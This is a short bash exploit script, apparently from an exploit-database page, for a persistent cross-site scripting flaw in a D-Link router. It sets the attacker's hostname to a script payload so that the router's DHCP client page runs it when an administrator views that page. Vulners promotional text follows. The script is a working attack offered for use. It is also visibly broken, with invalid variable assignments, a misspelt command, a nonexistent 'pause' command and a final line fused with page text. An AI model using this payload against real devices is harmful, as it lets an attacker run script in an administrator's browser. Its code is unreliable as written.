#!/bin/bash
# Written and discovered by Yuval tisf Nativ
# The page 'dhcpinfo.html' will list all machines connected to the network with hostname,
# IP, MAC and IP expiration. It is possible to store an XSS in this table by changing hostname.
# Checks if you are root
if [ "$(id -u)" != "0" ]; then
echo "Please execute this script as root"
exit 1
fi
# You're XSS here
xss = "\"<script>alert('pwned');</script>"
# backup current hostname
currhost = `hostname`
# Bannering
echo ""
echo " D-Link Persistent XSS by tisf"
echo ""
echo "The page dhcpinfo.html is the vulnerable page."
echo "Ask the user to access it and your persistent XSS will be triggered."
echo ""
# Change hostname to XSS
sudo hosname $xss
# Restore previous hostname on exit
pause "Type any key to exit and restore your previous hostname."
sudo hostname $currhostData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation